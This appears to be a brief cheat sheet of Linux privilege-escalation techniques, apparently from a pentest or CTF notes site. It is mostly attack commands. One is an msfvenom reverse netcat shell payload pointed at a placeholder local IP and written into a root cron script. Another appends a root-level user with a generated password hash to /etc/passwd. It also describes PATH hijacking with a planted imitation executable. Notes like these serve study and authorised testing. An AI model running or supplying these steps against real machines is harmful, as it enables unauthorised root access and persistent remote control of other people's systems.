Linux
Last updated
Was this helpful?
Last updated
Was this helpful?
cat /etc/crontab
We can create an msf venom exploit :
msfvenom -p cmd/unix/reverse_netcat lhost=LOCALIP lport=8888 R
Then we put it into the right directory which is the target of the cron job : echo [MSFVENOM OUTPUT] > autoscript.sh
find / -perm -u=s -type f 2>/dev/null
First create a compliant password hash using :
openssl passwd -1 -salt [salt] [password]
With the use of new as salt and 123 as password we got this : $1$new$p7ptkEKU1HnaHpRtzNizS1
We can add the user at the end of the passwd file by following this (don't forget to escape $ in the password hash): username:passwordhash:0:0:root:/root:/bin/bash
sudo -l
then check GTFOBins
echo $PATH
If there is a script executed by root which use the ls command for example, we can write an imitation executable and add it to the PATH environmental variable.
To reset the PATH variable, remove the tmp path.